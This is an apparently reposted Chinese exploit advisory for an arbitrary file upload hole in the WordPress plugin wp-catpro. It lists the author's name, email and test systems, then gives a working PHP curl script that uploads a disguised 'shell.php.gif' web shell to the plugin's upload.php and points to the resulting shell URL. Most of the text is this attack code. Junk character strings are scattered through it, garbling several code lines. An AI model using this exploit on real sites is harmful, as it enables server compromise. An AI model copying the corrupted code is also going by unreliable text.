WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
" d3 c1 ?& \! z: {) I0 N# ]) a
作者  => Zikou-16
" Q0 i8 k& J: Q  T邮箱 => zikou16x@gmail.com
0 G/ F) ^' D8 n' o6 v3 f" I测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
8 p% L4 \7 h2 Q# V####
9 K. \# Y0 i  N, M" u5 X
#=> Exploit 信息:
  I# @( z0 k6 C& W) Y# n+ V------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
; ]  f, |& J+ K5 W% o, a" e0 U1 {# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
) T' X. P; Z. J& ^
#=> Exploit
-----------
<?php
: R' n) W0 h: T7 F0 U5 R
. K; W; v5 Z( y+ _: F9 d( F$uploadfile="zik.php.gif";
- W- L6 k3 {0 w) I& Z$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
8 s/ S4 ]+ g/ A+ M( M4 a( \curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
) }( X+ G) j0 k7 J- d. jarray('Filedata'=>"@$uploadfile",
- ]# {, q6 m/ {9 d'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
0 t3 O4 D; T- D0 l( j: h6 P  }
+ o& j' V+ n# Xprint "$postResult";
- H4 W3 J; J( v& u
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ A- F: m0 w& |/ o- N7 H5 ?5 }# l  ?>
<?php
phpinfo();
?>